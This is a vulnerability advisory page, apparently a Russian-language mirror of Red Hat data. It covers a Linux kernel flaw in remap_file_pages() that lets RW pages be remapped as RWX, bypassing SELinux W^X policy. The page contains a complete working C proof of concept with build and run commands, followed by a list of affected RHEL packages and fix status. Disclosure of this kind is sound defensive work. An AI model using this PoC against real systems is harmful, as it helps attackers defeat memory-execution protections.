Описание
In the Linux kernel, the following vulnerability has been resolved:
mm: call the security_mmap_file() LSM hook in remap_file_pages()
The remap_file_pages syscall handler calls do_mmap() directly, which
doesn't contain the LSM security check. And if the process has called
personality(READ_IMPLIES_EXEC) before and remap_file_pages() is called for
RW pages, this will actually result in remapping the pages to RWX,
bypassing a W^X policy enforced by SELinux.
So we should check prot by security_mmap_file LSM hook in the
remap_file_pages syscall handler before do_mmap() is called. Otherwise, it
potentially permits an attacker to bypass a W^X policy enforced by
SELinux.
The bypass is similar to CVE-2016-10044, which bypass the same thing via
AIO and can be found in [1].
The PoC:
$ cat > test.c
int main(void) {
size_t pagesz = sysconf(_SC_PAGE_SIZE);
int mfd = syscall(SYS_memfd_create, "test", 0);
const char *buf = mmap(NULL, 4 * pagesz, PROT_READ | PROT_WRITE,
MAP_SHARED, mfd, 0);
unsigned int old = syscall(SYS_personality, 0xffffffff);
syscall(SYS_personality, READ_IMPLIES_EXEC | old);
syscall(SYS_remap_file_pages, buf, pagesz, 0, 2, 0);
syscall(SYS_personality, old);
// show the RWX page exists even if W^X policy is enforced
int fd = open("/proc/self/maps", O_RDONLY);
unsigned char buf2[1024];
while (1) {
int ret = read(fd, buf2, 1024);
if (ret <= 0) break;
write(1, buf2, ret);
}
close(fd);
}
$ gcc test.c -o test
$ ./test | grep rwx
7f1836c34000-7f1836c35000 rwxs 00002000 00:01 2050 /memfd:test (deleted)
[PM: subject line tweaks]
A flaw was found in the remap_file_pages function in mm/mmap.c in the Linux kernel, where it does not properly restrict execute access. This vulnerability allows local users to bypass intended SELinux W^X policy restrictions.
Отчет
This issue affects the Linux kernel shipping with Red Hat Enterprise Linux 8 and 9. This issue does not affect the Linux kernel packages as shipped with Red Hat Enterprise Linux 7 and before. This flaw breach confidentiality due to bypassing incorrect SELinux policy.
Меры по смягчению последствий
The issue exists if SELinux W^X policy restrictions are being used.
Затронутые пакеты
Платформа | Пакет | Состояние | Рекомендация | Релиз |
---|---|---|---|---|
Red Hat Enterprise Linux 6 | kernel | Out of support scope | ||
Red Hat Enterprise Linux 7 | kernel | Out of support scope | ||
Red Hat Enterprise Linux 7 | kernel-rt | Out of support scope | ||
Red Hat Enterprise Linux 8 | kernel | Will not fix | ||
Red Hat Enterprise Linux 8 | kernel-rt | Will not fix | ||
Red Hat Enterprise Linux 9 | kernel-rt | Will not fix | ||
Red Hat Enterprise Linux 9 | kernel | Fixed | RHSA-2025:6966 | 13.05.2025 |
Red Hat Enterprise Linux 9 | kernel | Fixed | RHSA-2025:6966 | 13.05.2025 |
Red Hat Enterprise Linux 9.2 Extended Update Support | kernel | Fixed | RHSA-2025:7683 | 15.05.2025 |
Red Hat Enterprise Linux 9.2 Extended Update Support | kernel-rt | Fixed | RHSA-2025:7676 | 15.05.2025 |
Показывать по
Дополнительная информация
Статус:
EPSS
4.7 Medium
CVSS3
Связанные уязвимости
In the Linux kernel, the following vulnerability has been resolved: mm: call the security_mmap_file() LSM hook in remap_file_pages() The remap_file_pages syscall handler calls do_mmap() directly, which doesn't contain the LSM security check. And if the process has called personality(READ_IMPLIES_EXEC) before and remap_file_pages() is called for RW pages, this will actually result in remapping the pages to RWX, bypassing a W^X policy enforced by SELinux. So we should check prot by security_mmap_file LSM hook in the remap_file_pages syscall handler before do_mmap() is called. Otherwise, it potentially permits an attacker to bypass a W^X policy enforced by SELinux. The bypass is similar to CVE-2016-10044, which bypass the same thing via AIO and can be found in [1]. The PoC: $ cat > test.c int main(void) { size_t pagesz = sysconf(_SC_PAGE_SIZE); int mfd = syscall(SYS_memfd_create, "test", 0); const char *buf = mmap(NULL, 4 * pagesz, PROT_READ | PROT_WRITE, MAP_SHARED, mfd, 0); un...
In the Linux kernel, the following vulnerability has been resolved: mm: call the security_mmap_file() LSM hook in remap_file_pages() The remap_file_pages syscall handler calls do_mmap() directly, which doesn't contain the LSM security check. And if the process has called personality(READ_IMPLIES_EXEC) before and remap_file_pages() is called for RW pages, this will actually result in remapping the pages to RWX, bypassing a W^X policy enforced by SELinux. So we should check prot by security_mmap_file LSM hook in the remap_file_pages syscall handler before do_mmap() is called. Otherwise, it potentially permits an attacker to bypass a W^X policy enforced by SELinux. The bypass is similar to CVE-2016-10044, which bypass the same thing via AIO and can be found in [1]. The PoC: $ cat > test.c int main(void) { size_t pagesz = sysconf(_SC_PAGE_SIZE); int mfd = syscall(SYS_memfd_create, "test", 0); const char *buf = mmap(NULL, 4 * pagesz, PROT_READ | PROT_WRITE, MAP_SHARED, mfd, 0);
In the Linux kernel, the following vulnerability has been resolved: m ...
In the Linux kernel, the following vulnerability has been resolved: mm: call the security_mmap_file() LSM hook in remap_file_pages() The remap_file_pages syscall handler calls do_mmap() directly, which doesn't contain the LSM security check. And if the process has called personality(READ_IMPLIES_EXEC) before and remap_file_pages() is called for RW pages, this will actually result in remapping the pages to RWX, bypassing a W^X policy enforced by SELinux. So we should check prot by security_mmap_file LSM hook in the remap_file_pages syscall handler before do_mmap() is called. Otherwise, it potentially permits an attacker to bypass a W^X policy enforced by SELinux. The bypass is similar to CVE-2016-10044, which bypass the same thing via AIO and can be found in [1]. The PoC: $ cat > test.c int main(void) { size_t pagesz = sysconf(_SC_PAGE_SIZE); int mfd = syscall(SYS_memfd_create, "test", 0); const char *buf = mmap(NULL, 4 * pagesz, PROT_READ | PROT_WRITE, MAP_SHARED, mfd, 0...
EPSS
4.7 Medium
CVSS3